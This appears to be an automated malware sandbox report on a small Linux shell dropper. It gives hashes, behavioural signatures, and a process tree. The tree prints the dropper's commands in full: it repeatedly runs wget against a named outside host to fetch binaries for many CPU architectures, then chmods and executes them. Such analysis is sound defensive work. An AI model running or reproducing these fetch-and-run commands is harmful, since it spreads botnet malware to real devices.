2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6

Resubmissions

07/02/2023, 21:06

230207-zx6pfafa71 8

07/02/2023, 18:57

230207-xl7fgsge5t 8

Analysis

max time kernel
0s
max time network
121s
platform
linux_mips
resource
debian9-mipsbe-en-20211208
resource tags

arch:mipsimage:debian9-mipsbe-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
07/02/2023, 18:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
Size

320B
MD5

d4c058db66b0e54c8a6ae4c967479675
SHA1

8fc148163e25f149fbe0d49faa5359d33a67e087
SHA256

2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
SHA512

fcb8b851b40631fbc03f2e73045c92143ea6569eb8dcd82ca5335d7fa4c3d904041279cdadf7e9346af410eb9564b08256a0db6b448234eb4ed0785ceb94eaa2

Score

8^/10

Malware Config

Signatures

Modifies hosts file 15 IoCs

Adds to hosts file used for mapping hosts to IP addresses.

description	ioc	Process
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget

Writes DNS configuration 1 TTPs 15 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc	Process
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget

Reads runtime system information 15 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6	/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6	2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6

/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
1⤵
- Writes file to tmp directory
PID:321
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:322
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:323
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:325
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.arm7 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:329
- ./.rlds
  ./.rlds wget..arm7
  2⤵
  PID:330
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:331
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:332
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:333
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.arm4 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:334
- ./.rlds
  ./.rlds wget..arm4
  2⤵
  PID:335
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:336
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:337
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:338
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.arm5 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:339
- ./.rlds
  ./.rlds wget..arm5
  2⤵
  PID:340
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:341
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:342
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:343
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.arm6 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:344
- ./.rlds
  ./.rlds wget..arm6
  2⤵
  PID:345
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:346
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:347
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:348
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.armv4tl -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:349
- ./.rlds
  ./.rlds wget..armv4tl
  2⤵
  PID:350
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:351
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:352
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:353
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.mips64 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:354
- ./.rlds
  ./.rlds wget..mips64
  2⤵
  PID:355
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:356
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:357
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:358
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.mips -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:359
- ./.rlds
  ./.rlds wget..mips
  2⤵
  PID:360
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:361
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:362
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:363
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.mipsel -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:364
- ./.rlds
  ./.rlds wget..mipsel
  2⤵
  PID:365
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:366
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:367
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:368
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.ppc440 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:369
- ./.rlds
  ./.rlds wget..ppc440
  2⤵
  PID:370
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:371
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:372
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:373
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.powerpc -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:374
- ./.rlds
  ./.rlds wget..powerpc
  2⤵
  PID:375
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:376
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:377
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:378
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.m68k -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:379
- ./.rlds
  ./.rlds wget..m68k
  2⤵
  PID:380
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:381
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:382
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:383
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.sh4 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:384
- ./.rlds
  ./.rlds wget..sh4
  2⤵
  PID:385
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:386
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:387
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:388
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.sparc -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:389
- ./.rlds
  ./.rlds wget..sparc
  2⤵
  PID:390
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:391
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:392
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:393
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.x86_64 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:394
- ./.rlds
  ./.rlds wget..x86_64
  2⤵
  PID:395
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:396
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:397
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:398
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.i586 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:399
- ./.rlds
  ./.rlds wget..i586
  2⤵
  PID:400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...